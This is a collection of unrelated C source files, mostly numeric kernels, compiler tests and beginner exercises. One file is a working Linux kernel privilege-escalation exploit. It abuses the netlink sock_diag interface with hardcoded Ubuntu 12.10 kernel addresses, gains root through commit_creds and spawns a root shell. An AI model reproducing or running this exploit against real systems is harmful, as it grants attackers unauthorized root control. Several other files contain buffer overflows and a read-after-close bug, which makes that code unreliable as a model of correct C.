scenarios #define ZERO_BETA 1 #undef ONE_ALPHA #include "sbgemv_t_microk_cooperlake_template.c" // Define micro kernels for ALPHA as ONE && BETA in-effective (BETA == 0) scenarios #define ZERO_BETA 1 #define ONE_ALPHA 1 #include "sbgemv_t_microk_cooperlake_template.c" static int sbgemv_kernel_t(BLASLONG m, BLASLONG n, float alpha, bfloat16 *a, BLASLONG lda, bfloat16 *x, float beta, float *y) { if (beta == ZERO) { // BETA == 0.0, no need to accumulate the original Y data if (alpha == ONE) { // ALPHA == 1.0, no need to multipy ALPHA if (n > 127) { sbgemv_kernel_1x128_lda_direct(m, n, alpha, a, lda, x, y); } else if (n > 32) { sbgemv_kernel_8x32_lda_direct(m, n, alpha, a, lda, x, y); } else { if (n > 16) { sbgemv_kernel_8x16p_lda(m, n, alpha, a, lda, x, y); } else { if (lda == n) { switch(n) { case 1: sbgemv_kernel_32x1 (m, alpha, a, x, y); break; case 2: sbgemv_kernel_32x2 (m, alpha, a, x, y); break; case 3: sbgemv_kernel_32x3 (m, alpha, a, x, y); break; case 4: sbgemv_kernel_16x4 (m, alpha, a, x, y); break; case 5: sbgemv_kernel_30x5 (m, alpha, a, x, y); break; case 6: sbgemv_kernel_16x6 (m, alpha, a, x, y); break; case 7: sbgemv_kernel_16x7 (m, alpha, a, x, y); break; case 8: sbgemv_kernel_16x8 (m, alpha, a, x, y); break; case 9: sbgemv_kernel_14x9 (m, alpha, a, x, y); break; case 10: sbgemv_kernel_12x10(m, alpha, a, x, y); break; case 11: sbgemv_kernel_15x11(m, alpha, a, x, y); break; case 12: sbgemv_kernel_15x12(m, alpha, a, x, y); break; case 13: sbgemv_kernel_16x13(m, alpha, a, x, y); break; case 14: sbgemv_kernel_16x14(m, alpha, a, x, y); break; case 15: sbgemv_kernel_16x15(m, alpha, a, x, y); break; case 16: sbgemv_kernel_16x16(m, alpha, a, x, y); break; default: break; } } else { sbgemv_kernel_8x16m_lda(m, n, alpha, a, lda, x, y); } } } } else { // ALPHA != 1.0, need to multipy ALPHA if (n > 127) { sbgemv_kernel_1x128_lda_direct_alpha(m, n, alpha, a, lda, x, y); } else if (n > 32) { sbgemv_kernel_8x32_lda_direct_alpha(m, n, alpha, a, lda, x, y); } else { if (n > 16) { sbgemv_kernel_8x16p_lda_alpha(m, n, alpha, a, lda, x, y); } else { if (lda == n) { switch(n) { case 1: sbgemv_kernel_32x1_alpha (m, alpha, a, x, y); break; case 2: sbgemv_kernel_32x2_alpha (m, alpha, a, x, y); break; case 3: sbgemv_kernel_32x3_alpha (m, alpha, a, x, y); break; case 4: sbgemv_kernel_16x4_alpha (m, alpha, a, x, y); break; case 5: sbgemv_kernel_30x5_alpha (m, alpha, a, x, y); break; case 6: sbgemv_kernel_16x6_alpha (m, alpha, a, x, y); break; case 7: sbgemv_kernel_16x7_alpha (m, alpha, a, x, y); break; case 8: sbgemv_kernel_16x8_alpha (m, alpha, a, x, y); break; case 9: sbgemv_kernel_14x9_alpha (m, alpha, a, x, y); break; case 10: sbgemv_kernel_12x10_alpha(m, alpha, a, x, y); break; case 11: sbgemv_kernel_15x11_alpha(m, alpha, a, x, y); break; case 12: sbgemv_kernel_15x12_alpha(m, alpha, a, x, y); break; case 13: sbgemv_kernel_16x13_alpha(m, alpha, a, x, y); break; case 14: sbgemv_kernel_16x14_alpha(m, alpha, a, x, y); break; case 15: sbgemv_kernel_16x15_alpha(m, alpha, a, x, y); break; case 16: sbgemv_kernel_16x16_alpha(m, alpha, a, x, y); break; default: break; } } else { sbgemv_kernel_8x16m_lda_alpha(m, n, alpha, a, lda, x, y); } } } } } else { // BETA != 0.0, need to accumulate the original Y data no matter what ALPHA is if (beta == ONE) { if (n > 127) { sbgemv_kernel_1x128_lda_direct_alpha_one(m, n, alpha, a, lda, x, beta, y); } else if (n > 32) { sbgemv_kernel_8x32_lda_direct_alpha_one(m, n, alpha, a, lda, x, beta, y); } else { if (n > 16) { sbgemv_kernel_8x16p_lda_alpha_one(m, n, alpha, a, lda, x, beta, y); } else { if (lda == n) { switch(n) { case 1: sbgemv_kernel_32x1_alpha_one (m, alpha, a, x, beta, y); break; case 2: sbgemv_kernel_32x2_alpha_one (m, alpha, a, x, beta, y); break; case 3: sbgemv_kernel_32x3_alpha_one (m, alpha, a, x, beta, y); break; case 4: sbgemv_kernel_16x4_alpha_one (m, alpha, a, x, beta, y); break; case 5: sbgemv_kernel_30x5_alpha_one (m, alpha, a, x, beta, y); break; case 6: sbgemv_kernel_16x6_alpha_one (m, alpha, a, x, beta, y); break; case 7: sbgemv_kernel_16x7_alpha_one (m, alpha, a, x, beta, y); break; case 8: sbgemv_kernel_16x8_alpha_one (m, alpha, a, x, beta, y); break; case 9: sbgemv_kernel_14x9_alpha_one (m, alpha, a, x, beta, y); break; case 10: sbgemv_kernel_12x10_alpha_one(m, alpha, a, x, beta, y); break; case 11: sbgemv_kernel_15x11_alpha_one(m, alpha, a, x, beta, y); break; case 12: sbgemv_kernel_15x12_alpha_one(m, alpha, a, x, beta, y); break; case 13: sbgemv_kernel_16x13_alpha_one(m, alpha, a, x, beta, y); break; case 14: sbgemv_kernel_16x14_alpha_one(m, alpha, a, x, beta, y); break; case 15: sbgemv_kernel_16x15_alpha_one(m, alpha, a, x, beta, y); break; case 16: sbgemv_kernel_16x16_alpha_one(m, alpha, a, x, beta, y); break; default: break; } } else { sbgemv_kernel_8x16m_lda_alpha_one(m, n, alpha, a, lda, x, beta, y); } } } } else { if (n > 127) { sbgemv_kernel_1x128_lda_direct_alpha_beta(m, n, alpha, a, lda, x, beta, y); } else if (n > 32) { sbgemv_kernel_8x32_lda_direct_alpha_beta(m, n, alpha, a, lda, x, beta, y); } else { if (n > 16) { sbgemv_kernel_8x16p_lda_alpha_beta(m, n, alpha, a, lda, x, beta, y); } else { if (lda == n) { switch(n) { case 1: sbgemv_kernel_32x1_alpha_beta (m, alpha, a, x, beta, y); break; case 2: sbgemv_kernel_32x2_alpha_beta (m, alpha, a, x, beta, y); break; case 3: sbgemv_kernel_32x3_alpha_beta (m, alpha, a, x, beta, y); break; case 4: sbgemv_kernel_16x4_alpha_beta (m, alpha, a, x, beta, y); break; case 5: sbgemv_kernel_30x5_alpha_beta (m, alpha, a, x, beta, y); break; case 6: sbgemv_kernel_16x6_alpha_beta (m, alpha, a, x, beta, y); break; case 7: sbgemv_kernel_16x7_alpha_beta (m, alpha, a, x, beta, y); break; case 8: sbgemv_kernel_16x8_alpha_beta (m, alpha, a, x, beta, y); break; case 9: sbgemv_kernel_14x9_alpha_beta (m, alpha, a, x, beta, y); break; case 10: sbgemv_kernel_12x10_alpha_beta(m, alpha, a, x, beta, y); break; case 11: sbgemv_kernel_15x11_alpha_beta(m, alpha, a, x, beta, y); break; case 12: sbgemv_kernel_15x12_alpha_beta(m, alpha, a, x, beta, y); break; case 13: sbgemv_kernel_16x13_alpha_beta(m, alpha, a, x, beta, y); break; case 14: sbgemv_kernel_16x14_alpha_beta(m, alpha, a, x, beta, y); break; case 15: sbgemv_kernel_16x15_alpha_beta(m, alpha, a, x, beta, y); break; case 16: sbgemv_kernel_16x16_alpha_beta(m, alpha, a, x, beta, y); break; default: break; } } else { sbgemv_kernel_8x16m_lda_alpha_beta(m, n, alpha, a, lda, x, beta, y); } } } } } return 0; } #endif
the_stack_data/22011893.c
/* { dg-do compile { target arm*-*-* alpha*-*-* i?86-*-* powerpc*-*-* rs6000-*-* x86_64-*-* s390*-*-* } } */ /* { dg-require-effective-target stdint_types } */ /* { dg-options "-O2 -fdump-rtl-combine" } */ /* { dg-additional-options "-march=z900" { target s390*-*-* } } */ /* The test is similiar to builtin-bswap-6.c but returns 1/2 instead of 0/1 to prevent GCC from calculating the return value with arithmetic instead of a comparison. This requires the optimization level to be bumped up to -O2 at least for x86_64. */ #include <stdint.h> #define BS(X) __builtin_bswap32(X) int foo1 (uint32_t a) { if (BS (a) == 0xA0000) return 1; return 2; } int foo2 (uint32_t a) { if (BS (a) != 0xA0000) return 1; return 2; } int foo3 (uint32_t a, uint32_t b) { if (BS (a) == BS (b)) return 1; return 2; } int foo4 (uint32_t a, uint32_t b) { if (BS (a) != BS (b)) return 1; return 2; } /* { dg-final { scan-rtl-dump-not "bswapsi" "combine" } } */
the_stack_data/1013908.c
/* * Katie Ray * Project: ulex * March 15, 2003 * main.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> FILE *yyin; char *begintext; extern int yylineno; int yyparse(); char* grab_upto_percents(); char *yyfilename; char *outfilename; FILE *outfile; int debugtoken, debugtree, debugautomaton; int main(int argc, char *argv[]) { char ppcmdline[1024]; int i, nextchar, nextchar2, arg = 1, pp = 1; outfilename = "lex.yy.icn"; if (argc > arg && !strcmp(argv[arg], "-nopp")) { pp = 0; arg++; } if (argc > arg && !strcmp(argv[arg], "-token")) { debugtoken = 1; arg++; } if (argc > arg && !strcmp(argv[arg], "-tree")) { debugtree = 1; arg++; } if (argc > arg && !strcmp(argv[arg], "-automaton")) { debugautomaton = 1; arg++; } if (argc > arg && argv[arg][0]=='-' && argv[arg][1]=='o') { if (strlen(argv[arg]+2)) outfilename = argv[arg]+2; else { arg++; outfilename = argv[arg]; } arg++; } else if (arg < argc) { /* * Use a flex-style output filenaming convention, e.g. output from * file.l is file.icn instead of lex.yy.icn */ int len = strlen(argv[arg]); strcpy(ppcmdline, argv[arg]); if (((ppcmdline[len-1]=='l')||(ppcmdline[len-1]=='L')) && (ppcmdline[len-2]=='.')) ppcmdline[len-2] = '\0'; strcat(ppcmdline, ".icn"); outfilename = strdup(ppcmdline); } if (arg >= argc) { fprintf(stderr, "usage: ulex [-nopp] [-ooutfile] file.l\n"); fflush(stderr); exit(-1); } yyfilename = argv[arg]; printf("ulex 0.21 invoked on %s\n", yyfilename); if (pp) { sprintf(ppcmdline, "ulpp < %s", yyfilename); if (strcmp(ppcmdline+strlen(ppcmdline)-2, ".l")) strcat(ppcmdline, ".l"); yyin = popen(ppcmdline, "r"); } else { yyin = fopen(yyfilename, "r"); } if (yyin == NULL) { fprintf(stderr, "Failed to open %s\n", yyfilename); fflush(stderr); exit(-1); } else { #if 0 printf("ulex: opened %s\n", pp ? ppcmdline : yyfilename); #endif } /* process up to first %% */ if (((nextchar = fgetc(yyin)) == EOF)||((nextchar2 = fgetc(yyin)) == EOF)) { fprintf(stderr, "Unexpected EOF in %s\n", yyfilename); fflush(stderr); exit(-1); } if (nextchar == 10 || nextchar == 13) yylineno++; if (nextchar2 == 10 || nextchar2 == 13) yylineno++; while (nextchar != '%' || (nextchar2 != '%' && nextchar2 != '{')) { /* * ignore everything until either %% or %{ */ nextchar = nextchar2; if ((nextchar2 = fgetc(yyin)) == EOF) { fprintf(stderr, "Unexpected EOF in %s\n", yyfilename); } if (nextchar2 == 10 || nextchar2 == 13) yylineno++; } if (nextchar2 == '{') { grab_upto_percents(); } /* yyparse() calls automata.c::createicon() which opens outfile. */ i = yyparse(); if (i) { fprintf(stderr, "errors in %s\n", yyfilename); exit(1); } /* * copy out remainder, up to EOF, into output file. */ if ((yyin = fopen("ulex.tmp","r")) == NULL) { fprintf(stderr, "cannot open ulex.tmp for reading\n"); fflush(stderr); exit(-1); } while (((nextchar = fgetc(yyin)) != EOF) && (nextchar != '%')) fputc(nextchar, outfile); if (nextchar == '%') nextchar = fgetc(yyin); if (nextchar == '%') nextchar = fgetc(yyin); nextchar = fgetc(yyin); while (nextchar != EOF) { fputc(nextchar, outfile); if ((nextchar = fgetc(yyin)) == EOF) break; } fclose(outfile); if (pp) pclose(yyin); else fclose(yyin); unlink("ulex.tmp"); printf("No errors\n"); return 0; } char* grab_upto_percents() { int quotemode = 0, slash = 0, index = 0, size = 20, reset; int nextchar, nextchar2; begintext = (char *) calloc(size, sizeof(char)); if (begintext == NULL) { fprintf(stderr, "calloc failed in grab_upto_percents\n"); fflush(stderr); exit(-1); } if ((nextchar = fgetc(yyin)) == EOF) { fprintf(stderr, "Unexpected EOF in %s\n", yyfilename); } if (nextchar == 10 || nextchar == 13) yylineno++; if ((nextchar2 = fgetc(yyin)) == EOF) { fprintf(stderr, "Unexpected EOF in %s\n", yyfilename); } if (nextchar2 == 10 || nextchar2 == 13) yylineno++; while (nextchar != '%' || nextchar2 != '}') { if (nextchar2 == -1) { fprintf(stderr, "error in processing upto first percents"); fflush(stderr); exit(-1); } if (nextchar == '"' && slash == 0) quotemode = 1 - quotemode; if (nextchar == '\\') slash = 1 - slash; if (index >= size-2) { size *= 2; begintext = realloc(begintext, size * sizeof(char)); if (begintext == NULL) { fprintf(stderr, "calloc failed in makebigger\n"); fflush(stderr); exit(-1); } } begintext[index] = nextchar; index++; begintext[index] = '\0'; nextchar = nextchar2; if ((nextchar2 = fgetc(yyin)) == EOF) { fprintf(stderr, "Unexpected EOF in %s\n", yyfilename); } if (nextchar2 == 10 || nextchar2 == 13) yylineno++; } while (nextchar != '%' || nextchar2 != '%') { nextchar = nextchar2; if ((nextchar2 = fgetc(yyin)) == EOF) { fprintf(stderr, "Unexpected EOF in %s\n", yyfilename); } if (nextchar2 == 10 || nextchar2 == 13) yylineno++; } }
the_stack_data/225143954.c
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // ____ ___ __ _ // / __// o |,'_/ .' \ // / _/ / _,'/ /_n / o / _ __ _ ___ _ _ __ // /_/ /_/ |__,'/_n_/ / \,' /.' \ ,' _/,' \ / |/ / // / \,' // o /_\ `./ o // || / // /_/ /_//_n_//___,'|_,'/_/|_/ // //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // Author : Wesley Taylor-Rendal (WTR) // Design history : Review git logs. // Description : Rewrite Program 5.3 and replace for loops with while loops // Concepts : The equvilance and naunces of for and while loops. //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #include <stdio.h> int main(void) { int n, triangularNumber; printf("TABLE OF TRIANGULAR NUMBERS\n\n"); printf(" n Sum from 1 to n\n"); printf("--- ---------------\n"); triangularNumber = 0; n = 1; while (n <= 10) { //for (n=1; n<= 10; ++n) { triangularNumber += n; printf(" %i %i\n", n, triangularNumber); ++n; } return 0; }
the_stack_data/23219.c
#include <stdio.h> #include <stdlib.h> int main() { float valorProduto; float valorComDesconto; char simbolo = '%'; printf("Valor do produto: "); scanf("%f", &valorProduto); valorComDesconto = valorProduto * 0.91; printf("Preco de venda com 9%c de desconto: %.2f", simbolo, valorComDesconto); return 0; }
the_stack_data/181392515.c
// Problem : UVA 10420 - List of Conquests // Author : timwilliam // Compiled : 05/23/2021 #include <stdio.h> #include <stdlib.h> #include <string.h> // based on insertion sort void sort_list(char **list, int n){ int key, i; char word[75]; for(i = 1; i < n; i++){ memset(word, 0, sizeof(word)); key = i; strcpy(word, list[i]); while(key > 0 && strcmp(word, list[i-1]) < 0){ strcpy(list[key], list[key-1]); key--; } strcpy(list[key], word); } } void get_country(char *buffer, char *country){ int toggle, len, i, j; len = strlen(buffer); toggle = 0; j = 0; for(i = 0; i < len; i++){ if(buffer[i] == ' '){ if(toggle == 1) break; continue; } else{ toggle = 1; country[j] = buffer[i]; j++; } } } int main(void){ int n, len, i, count; char buffer[75], country[75], **conquest, current[75]; // NOTE: I made the assumption that a name will only appear once scanf("%d", &n); getchar(); conquest = malloc(n * sizeof(char*)); // store country name in a list for(i = 0; i < n; i++){ memset(buffer, 0, sizeof(buffer)); memset(country, 0, sizeof(country)); fgets(buffer, 75, stdin); buffer[strcspn(buffer, "\n")] = 0; get_country(buffer, country); len = strlen(country); conquest[i] = malloc(len * sizeof(char)); strcpy(conquest[i], country); } // sort the list alphabetically sort_list(conquest, n); // count each country occurences count = 0; for(i = 0; i < n; i++){ strcpy(current, conquest[i]); if(i < n - 1 && strcmp(current, conquest[i+1]) == 0){ count++; continue; } else{ printf("%s %d\n", current, count+1); count = 0; } } }
the_stack_data/92328442.c
#include <stdio.h> #include <stdlib.h> #include <stdint.h> static unsigned int table[256]; /* http://www.hackersdelight.org/hdcodetxt/crc.c.txt */ unsigned int crc32c(unsigned char *message, int len) { unsigned int byte, crc, mask; /* this is all constant wrt input */ for (byte = 0; byte <= 255; byte++) { crc = byte; for (int j = 7; j >= 0; j--) { mask = -(crc & 1); crc = (crc >> 1) ^ (0xEDB88320 & mask); } table[byte] = crc; } crc = 0xFFFFFFFF; for (int i = 0; i < len; ++i) { byte = message[i]; /* table lookup has symbolic index, exercises symbolic * memory subsystem */ crc = (crc >> 8) ^ table[(crc ^ byte) & 0xFF]; i = i + 1; } return ~crc; } uint64_t SECRET(uint64_t input) { return (uint64_t)crc32c((unsigned char *)&input, sizeof(input)); } int main(int argc, char **argv) { if (argc < 2) { printf("Call this program with 1 arguments\n"); return 1; } printf("%lu\n", SECRET(strtoul(argv[1], 0, 10))); return 0; }
the_stack_data/554706.c
//importamos #include <stdio.h> #define TALLA 10 int main(void){ int i, a[TALLA]; for(i=0; i<TALLA; i++){ a[i] = 0; } for(i = 0; i<TALLA; i++){ printf("%d\n", a[i]); } return 0; }
the_stack_data/26699049.c
#include <stdio.h> int main(){ int x, y; short int *a, *b, *c, *d; a = &x; b = a+1; c = &y; d = c+1; *a = 10; *b = 20; *c = 7; *d = 8; x = x + y; printf("%d\n", x); return 0; }
the_stack_data/733212.c
/* * Copyright 2019 Xilinx Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <dlfcn.h> #include <stdio.h> #include <stdlib.h> typedef char* (*CAC_FUNC)(); int main(int argc, char** argv) { void* handle; char* error; CAC_FUNC cac_func = NULL; char* so[] = {"libunilog.so.1", "libtarget-factory.so.1", "libxir.so.1", "libvart-buffer-object.so.1", "libvart-dpu-controller.so.1", "libvart-dpu-runner.so.1", "libvart-mem-manager.so.1", "libvart-runner.so.1", "libvart-util.so.1", "libvart-xrt-device-handle.so.1"}; for (int i = 0; i < sizeof(so) / sizeof(so[0]); i++) { handle = dlopen(so[i], RTLD_LAZY); if (!handle) { fprintf(stderr, "Open library %s error: %s\n", so[i], dlerror()); continue; } dlerror(); cac_func = dlsym(handle, "xilinx_version"); if ((error = dlerror()) != NULL) { fprintf(stderr, "Symbol xilinx_version not found in %s: %s\n", so[i], error); dlclose(handle); continue; } printf("%s: %s\n", so[i], cac_func()); dlclose(handle); } exit(EXIT_SUCCESS); }
the_stack_data/200142633.c
/* * Ben Souther */ #include <stdlib.h> #include <stdio.h> #include <stdbool.h> #define RED "\x1B[31m" #define CYAN "\x1B[36m" #define RESET "\x1b[0m" void colorize(FILE *fp){ int c; int nextChar = EOF; int last = EOF; bool instr = false; bool inesc = false; for(c = EOF; (c = getc(fp)) != EOF; ){ if(instr){ if(inesc){ inesc = false; printf("%c", c); }else if(c == '\\'){ inesc = true; printf("%c", c); }else if(c == '"' && last != '\\'){ instr = false; printf("%c", c); printf("%s", RESET); last = c; continue; } printf("%c", c); }else{ if(c == '"'){ printf("%s", RED); instr = true; printf("%c", c); }else{ /* control characters */ if(c == '{' || c == '[' || c == ']' || c == '}' || c == ',' || c == ':'){ printf("%s%c%s",CYAN, c, RESET); /* Should be the end of the JSON doc, flush stdout */ if((c == '}' || c == ']') && last == '\n'){ fflush(stdout); } /* booleans or numerics */ }else if( c == 't' || c == 'r' || c == 'u' || c == 'e' || c == 'f' || c == 'a' || c == 'l' || c == 's' || c == '0' || c == '1' || c == '2' || c == '3' || c == '4' || c == '5' || c == '6' || c == '7' || c == '8' || c == '9' || c == '-' || c == '.' || c == 'n' || c == 'l'){ printf("%s%c%s",RED, c, RESET); }else{ printf("%c", c); } } } last = c; }// for }// colorize /* Entry point ... */ int main(int argc, char *argv[]){ FILE *fp = stdin; if(argc == 2){ /* work off a file */ fp = fopen(argv[1], "r"); if(!fp){ fprintf(stderr, "Unable to open file: %s\n", argv[1]); return 1; } } if(fp!=stdin){ fclose(fp); } colorize(fp); return 0; }
the_stack_data/36076561.c
#include <stdio.h> #include <string.h> // strstr #define MAX 80 char linea[MAX]; int saca(); main() {/* de que hablas xd*/extern char linea[]; int ignore = 0; int l = 0, i, fi, done, peace; while ((l = saca()) == 0) { if (strstr(linea, "/*") != NULL) { // check for substring ignore = 1; } for (i = 0; ignore && linea[i] != '/' && done == 0; i++) { printf ("%c", linea[i]); fi = 1; } if (fi) { printf ("\n"); fi = 0; done = 1; } if (!ignore) { printf("%s\n", linea); } if (strstr(linea, "*/") != NULL) { ignore = 0; done = 0; for (i = 0; linea[i] != '/'; i++); i++; while (linea[i] != '\0') { printf ("%c", linea[i]); i++; } printf("\n"); } } return 0; } int saca() { extern char linea[]; int c, i = 0; int sc = 0; for (; i < MAX - 1 && (c = getchar()) != EOF && c != '\n';) { if (c == '/') { sc++; if (sc == 2) { i--; } } else if (sc < 2) { sc = 0; } if (sc < 2) { linea[i++] = c; } } linea[i] = '\0'; // caracter de terminacion de string return c == EOF; }
the_stack_data/45449503.c
#include"stdio.h" #include"unistd.h" int main(void) { fork(); printf("hello1 %ld \n",(long)getpid()); //wait(NULL); fork(); printf("hello2 %ld \n",(long)getpid()); fork(); printf("hello3 %ld \n",(long)getpid()); fork(); printf("hello4 %ld \n",(long)getpid()); //return(0); }
the_stack_data/54917.c
#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { int arraySize = 10; int a[10] = { 1, 2, 3, 5, 8, 13, 21, 34, 55, 89 }; int b[10] = { 10, 9, 8, 7, 6, 5, 4, 3, 2, 1 }; int c[10]; for (int i = 0; i < arraySize; i++) { c[i] = a[i] + b[i]; } printf("c = { "); for (int i = 0; i < arraySize; i++) { if (i == arraySize - 1) { //última iteração printf("%d }", c[i]); } else { printf("%d, ", c[i]); } } return 0; }
the_stack_data/59514134.c
#include <stdio.h> // Wrong Swapping // Prototype void swapp(int a, int b); int main() { int a, b; printf("\nAsk to Swap\n"); printf("Insert First Date: "); scanf("%d", &a); printf("Insert Second Date: "); scanf("%d", &b); swapp(a,b); printf("\nCome back in main\n"); printf("The new value a is: %d and the new value b is: %d\n", a, b); return 0; } void swapp(int a, int b) { int temp; printf("\nProcessing\n"); temp = a; a = b; b = temp; }
the_stack_data/206391951.c
#define _POSIX_C_SOURCE 199309L #include <stdio.h> #include <stdbool.h> #include <math.h> #include <time.h> #define PI 3.14159265 int main(void) { while(true) for (double d = 0;d < 360;d++) { double s = sin(d * (PI / 180)); int p = (int) ((s * 100) / 1.33) + 75; for (int i = 0;i < p;i++) printf(" "); printf("0\n"); struct timespec tp; tp.tv_nsec = (1000 * 1000 * 4); tp.tv_sec = 0; nanosleep(&tp, NULL); } return 0; }
the_stack_data/754846.c
//WAP to to demonstrate five string functions #include <stdio.h> #include <string.h> void main() { char str1[50] = "Hello"; char str2[50] = "World"; int len = strlen(str1); printf("The length of string %s is : %d\n",str1,len); printf("\n"); strcat(str1,str2); printf("Concatenated String : %s\n",str1); printf("\n"); printf("Original String : %s\n",str2); strrev(str2); printf("Reversed String : %s\n",str2); printf("\n"); printf("Before copying: \ns1 = %s \ns2 = %s\n",str1,str2); strcpy(str1,str2); printf("Copied string: \ns1 = %s \ns2 = %s\n",str1,str2); printf("\n"); int i = strcmp(str1,str2); if(i==0) { printf("Strings are equal"); } else { printf("Strings are not equal"); } }
the_stack_data/14405.c
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #define FIFONAME "myfifo" //after termination of the process, it will stay in the system. int main(int argc, char const *argv[]) { int n, fd; char buffer[1024]; //open the FIFO for reading. it was created by the server. if ((fd = open(FIFONAME, O_WRONLY)) < 0) { perror("client: open"); exit(1); } //Read from standard input and copy the data to the FIFO. while((n = read(0, buffer, sizeof(buffer))) > 0) { write(fd, buffer, n); } close(fd); exit(0); }
the_stack_data/1182723.c
#include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <netinet/tcp.h> #include <errno.h> #include <linux/if.h> #include <linux/filter.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <linux/sock_diag.h> #include <linux/inet_diag.h> #include <linux/unix_diag.h> #include <sys/mman.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long sock_diag_handlers, nl_table; int __attribute__((regparm(3))) x() { commit_creds(prepare_kernel_cred(0)); return -1; } char stage1[] = "\xff\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; int main() { int fd; unsigned long mmap_start, mmap_size = 0x10000; unsigned family; struct { struct nlmsghdr nlh; struct unix_diag_req r; } req; char buf[8192]; if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){ printf("Can't create sock diag socket\n"); return -1; } memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_seq = 123456; req.r.udiag_states = -1; req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; /* Ubuntu 12.10 x86_64 */ req.r.sdiag_family = 0x37; commit_creds = (_commit_creds) 0xffffffff8107d180; prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107d410; mmap_start = 0x1a000; if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap fault\n"); exit(1); } *(unsigned long *)&stage1[sizeof(stage1)-sizeof(&x)] = (unsigned long)x; memset((void *)mmap_start, 0x90, mmap_size); memcpy((void *)mmap_start+mmap_size-sizeof(stage1), stage1, sizeof(stage1)); send(fd, &req, sizeof(req), 0); if(!getuid()) system("/bin/sh"); }
the_stack_data/34512738.c
#include<stdio.h> #include<string.h> #include<stdlib.h> int cmp(const void*a,const void *b) { return(*(int *)a-*(int *)b); } int a[10000000]; int main() { int n,i,k,h=0,j,e=0,v=0,q; scanf("%d",&n); for(i=0;i<n;i++){ scanf("%d",&a[i]); } qsort(a,n,sizeof(a[0]),cmp); scanf("%d",&k); j=a[n-1]; for(i=n-1;i>=0;i--){ if(j==a[i]){ v++; } else { h++; q=j; j=a[i]; e=v; v=1; } if(h==k){ break; } } printf("%d %d",q,e); }
the_stack_data/33343.c
#include<stdio.h> /* Records even numbers, odd numbers entered by user, and their respective averages. */ int main(void) { int odd_count = 0; int even_count = 0; float odd_sum = 0.0; float even_sum = 0.0; int num; printf("Enter a number to be analyzed (q or 0 to quit)\n"); while (1 == scanf("%d", &num) && num != 0) { if (num % 2 == 0) { even_count++; even_sum += num; } else { odd_count++; odd_sum += num; } } printf("Done.\n"); printf("Odd number has %d, their average is %.1f.\n", odd_count, odd_sum / odd_count); printf("Even number has %d, their average is %.1f.\n", even_count, even_sum / even_count); return 0; }
the_stack_data/3806.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <arpa/inet.h> int parent_func(int children, int port, char *server); void child_func(int childnum, int port, char *server); char **recv_pieces; int main(int argc, char *argv[]){ int nchildren = 1; int pid; int x; int port = 0; if (argc < 3) { fprintf(stderr, "Usage: %s <server> <port> [#ofchild]\n", argv[0]); exit(1); } else if (argc > 3) { nchildren = atoi(argv[3]); } port = atoi(argv[2]); if ( parent_func(nchildren, port, argv[1]) != 0 ) { perror("parent_func"); close(1); } recv_pieces = (char**)malloc(nchildren*sizeof(char*)); int i = 0; for (i; i < nchildren; i++) { recv_pieces[i] = (char*)malloc( 25 * sizeof(char)); } for (x = 0; x < nchildren; x++) { if ((pid = fork()) == 0) { child_func(x, port, argv[1]); exit(0); } } wait(NULL); printf("\nData is received: \""); for (i = 0; i < nchildren; i++) { FILE *fp; char filename[32]; char buff[25]; snprintf(filename, sizeof(char) * 32, "child%i", i); fp = fopen(filename, "r"); fgets(buff, 255, (FILE*)fp); printf("%s", buff); fclose(fp); } printf("\"\n"); return 0; } int parent_func(int children, int port, char *server) { int sock; struct sockaddr_in sAddr; char buffer[25]; memset((void*) &sAddr, 0, sizeof(struct sockaddr_in)); sAddr.sin_family = AF_INET; sAddr.sin_addr.s_addr = INADDR_ANY; sAddr.sin_port = 0; sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); bind(sock, (const struct sockaddr *) &sAddr, sizeof(sAddr)); sAddr.sin_addr.s_addr = inet_addr(server); sAddr.sin_port = htons(port); if (connect(sock, (const struct sockaddr *) &sAddr, sizeof(sAddr)) != 0) { perror("parent_client"); return 1; } snprintf(buffer, 128, "%i", children); printf("Sending \"%s\" command to server..\n", buffer); send(sock, buffer, strlen(buffer), 0); sleep(1); recv(sock, buffer, 25, 0); printf("\"%s\" from server\n", buffer); sleep(1); close(sock); return 0; } void child_func(int childnum, int port, char *server) { int sock; struct sockaddr_in sAddr; char buffer[25]; memset((void*) &sAddr, 0, sizeof(struct sockaddr_in)); sAddr.sin_family = AF_INET; sAddr.sin_addr.s_addr 